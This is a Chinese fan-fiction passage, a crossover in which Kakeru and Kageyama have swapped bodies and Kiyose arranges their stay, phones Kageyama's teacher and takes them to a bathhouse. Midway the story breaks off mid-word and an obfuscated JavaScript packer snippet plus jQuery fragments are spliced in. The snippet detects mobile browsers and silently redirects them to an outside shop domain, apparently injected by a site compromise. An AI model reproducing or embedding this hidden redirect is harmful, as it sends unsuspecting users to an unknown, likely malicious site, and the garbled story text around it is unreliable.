“我明白了。”清濑说。
“灰二哥,不要再笑了。”阿走用影山的脸做出了愤愤的表情。
“抱歉,”清濑这么说着,却完全没有要收起笑容的意思,“所以你们被赶出来之后,只好先回到竹青庄,打算晚上再想办法。”
阿走点了点头。
“不过我有一点觉得很奇怪。”
两个人马上都露出了洗耳恭听的表情。
“阿走为什么要特意先藏起来?直接一起进来,说对方是自己在宫城县的高中学弟,放假了来东京看望自己不就行了?”
两个人又都立刻一副恍然大悟的样子。
真是两个呆瓜。
清濑叹了口气,“阿走,你一直躲在房间里,晚饭吃过了吗?”
“吃过了,在商场买东西的时候正好也有买一些饭团。”
“飞雄呢?既然是排球部的合宿,一直不回去没关系吗?”
影山吓了一跳。他似乎没预料到这位初次见面的前辈会一上来就这么亲切地叫自己名字。
“没关系……其他人后天才会到。我因为这几天在埼玉县参加了别的训练,所以结束后就不再回去宫城,而是直接过来这边等他们。”
他下午会独自去宽政大学附近的商场,也是为了买这两天要用的一些日用品,打算把东西放到预定的旅馆后就去体育馆那边参观一下。
结果事情变成这样。
“埼玉县?我们十一月可能也要到那里去。”
我现在这副样子,到时候真的还去得了吗?阿走很想插嘴,但尽力忍住了。
“你这两天原本要住在哪里?”清濑问影山。
“家里人有帮我提前预订这里附近的一家旅馆。”
“预订可以取消吗?需不需要扣除违约金?”
“可以取消,违约金的话……我不太清楚。”
“那你现在打电话过去取消看看。”清濑起身,拎起旁边的袋子往屋外走去,“我要把酱料拿去厨房放到冰箱里,不然真的会坏掉。阿走,你刚才是想要飞雄去厨房帮你倒一杯冰水吧?我也一起帮你拿过来。”
“好。”
影山看着清濑暂时离开的背影,脑海里回想起下午跟着藏原前辈来竹青庄的时候,对方特意叮嘱的那两句话。
“其他人倒是没什么问题,只有一个叫清濑灰二的人,你要特别注意。”
“如果进去之后看见一个棕色短发的前辈,眼睛特别亮,或者听到有谁被叫‘灰二’、‘灰二哥’的话,尽量先避开那个人,直接找到103号房进去等我就好。”
当时影山还以为对方是竹青庄的房东,或者是什么社会上的不良青年。
“不……应该比那些都要可怕。”藏原走这样回答他。
万幸的是旅馆那边表示这会是旅游旺季,想要入住的客人很多,所以之前预付的两晚房费都可以完整退回。
清濑回来的时候端着一些点心和三杯冰水。
冰水里混着一点清爽的柠檬汁,面上还放了几颗蓝莓和一片小薄荷叶作为点缀,看起来非常漂亮。
影山因为负责讲述事件过程,加上一直无法完全放松下来的紧张情绪,确实感到口渴。
他接过柠檬冰水后道了谢,立刻咕咚咕咚喝掉一大半。
然后惊讶地睁大了眼睛。
好好喝!
“那至少今天和明天飞雄先住在103号房吧?”清濑特地等他们都放下杯子后才继续往下说,“不管怎么看你们俩都还是尽量待在一起会比较好。”
影山和阿走都表示同意。
“如果这两天实在没能找到换回去的方法,就等后天乌野的其他人到了再说吧。”
清濑把点心推到阿走面前,然后看向影山。
“飞雄,你有没有乌野排球部教练或者其他负责人的电话?以防万一,我还是要先打个电话和他们确认一下情况。”
“有负责带队的小武老师的电话,他是我们名义上的教练。”
影山从手机的通讯录里翻找出写着“武田老师”的号码。清濑接过手机,按下通话键,对方很快接了起来。
“影山同学?这么晚打来是发生了什么事吗?”
清濑点开扬声器,先做了简短的自我介绍。对方虽然感到疑惑,但还是很礼貌地回复说:“是,您好,我是武田一铁,乌野高中的国语老师。”
清濑放下心来。
但如果在电话里直接说起影山和阿走身体互换的事,这位老师恐怕会马上把清濑当成诈骗分子。
“实在抱歉,这个时间打扰您休息。想要和您确认一下,乌野排球部是后天会到东京的宽政大学来进行合宿训练吧?”
“是这样没错。”
“因为一些突发状况,影山同学这两天不住在他原定的旅馆,而是直接住在宽政大学旁边的田径队宿舍。毕竟是未成年人,临时更换了住所,希望先让您知道一下情况。”
什么“田径队宿舍”,明明就是一栋连空调都没有的破烂两层楼房。阿走看向影山,发现对方居然一脸信服的样子。
“至于突发状况的具体内容,我想还是后天在宽政大学的体育馆见面了再聊会比较好。”
“啊……是这样。”对面缓了好一会,又继续问,“那可以请影山同学接一下电话吗?”
是和灰二哥一样谨慎的人。
阿走怔了一下,想要回忆自己的高中时期是否也有遇到过这样负责任的老师,但能想起来的都是一些枯燥的训练碎片。
“当然可以。”
清濑把手机递到阿走面前,又马上反应过来这个人现在其实是“冒牌货影山”,于是迅速转动手肘换了个方向。
旁边的“冒牌货阿走”配合地凑上来一些,对着手机说:“小武老师,我是影山。”
“影山同学,你现在安全吗?”
似乎是把清濑当成了绑架勒索的嫌疑犯。
这听上去比诈骗分子更糟糕。
阿走忍不住偏开头去压住嘴角,清濑无奈地看了他一眼。
“是,很安全,我现在和宽政大学田径队的……清濑前辈还有藏原前辈待在一起。”
“那就好,”小武老师说,“不要给人家添麻烦。我们后天下午就到……不过你的声音怎么听起来有点奇怪?”
因为连声线也是阿走的。
“刚才、刚才对着电风扇吹了一会。”影山不太擅长撒谎。
“小心着凉,你们八月上旬就要参加春高的县内第一轮预选赛了。”
小武老师又叮嘱了两句,让影山把手机交回给清濑。清濑一边听着电话,一边起身走到窗边。
“藏原前辈。”影山小声说。
“怎么了?”
影
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17708936|208392||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
山指了指柠檬冰水,“这个很漂亮。”
玻璃杯的小气泡一颗颗地往上跑。
“嗯……灰二哥平时很喜欢对食物进行摆盘。”阿走说。不过他也没想到清濑会连饮料都不放过。
夏天也有夏天的好处,至少晚上睡觉不需要盖被子或者薄毯,只要换上凉爽的睡衣,往铺着薄床垫的地板上一躺就行了。
阿走住的103号房虽然没有楼上双胞胎住的那间宽敞,但只要把杂物收一收,躺下两个人完全没有问题。
“总之先凑合一下吧。”清濑挂掉电话后,看了看周围。
已经过了房东先生浴室的使用时间,三个人收拾完房间,清濑干脆带着阿走和影山去了竹青庄附近的那家鹤之汤。
灰二哥是不是收了那家店老板的钱?好像每个来到竹青庄的人都至少要去一次鹤之汤才行。阿走抱着脸盆想。
影山安静地跟在阿走身边,不时东张西望,似乎对这里的陌生街道很好奇。
鹤之汤里也已经没什么人。水泥匠老爹正泡在温度更高那一边的浴池里,看见清濑立刻笑着打招呼,“灰二,看来你现在不但拥有了一支完整的队伍,连替补队员都找到了啊!”
“不是那样,”清濑示意阿走和影山按照平时觉得自在的方式去洗浴,自己则径直走向了淋浴区,“他是宫城县乌野高中的学生,排球部的。”
“排球?那可是一项超级累的运动,”泥水匠老爹惬意地闭上了眼睛,“真了不起。”
“没错。”
阿走领着影山来到浴池边。
有那么一瞬间,阿走确实想要带着影山先去最烫的那个池子里感受一下自己曾经的惨痛经历,但一想到遭殃的其实是自己的身体,决定作罢。
我为什么会有这种想法?一定是和灰二哥待在一起太久了的缘故。阿走很快就为自己找到理由。
清濑在简单冲洗之后,来到温度相对正常一些的那个浴池。隔壁的泥水匠老爹已经走了,而剩下的这两个人正十分沉默地坐在对角线的两个角落里,脸红得要命。
“怎么了?觉得太烫的话可以出来缓一会,不用勉强。”
“不是。”影山说。
“灰二哥,”阿走表情复杂,一副难以启齿的样子,“就是,不是自己的身体……”
啊。这两个呆瓜大概是此刻才切实地感受到连彼此的身体都被互换了,不止是脸而已。
这种明明只是正常洗澡,却仿佛在帮别人抚摸身体的感觉确实有些……不,非常奇怪。
难怪两个人一直没有到淋浴区那边去。
清濑没说什么,走进浴池坐下泡了一会。
整个鹤之汤随即陷入了诡异的沉默。
半分钟后,清濑再次开口:“阿走。”
“什么?”
“反正你现在只能住在飞雄的身体里,干脆帮我先确认一下飞雄的小腿肌肉吧。”
“……灰二哥,”阿走的脸简直要熟透了,“你怎么能说出这么变态的话。”
而且还是在当事人的面前。
“怎么了?我只是以防万一。”
“不行。”
“那我自己来确认吧。”
“不行!”
“很快就好。”
“……不要过来,等等,灰二哥!阿雪学长不是有让你改掉这个乱摸人小腿的习惯吗!”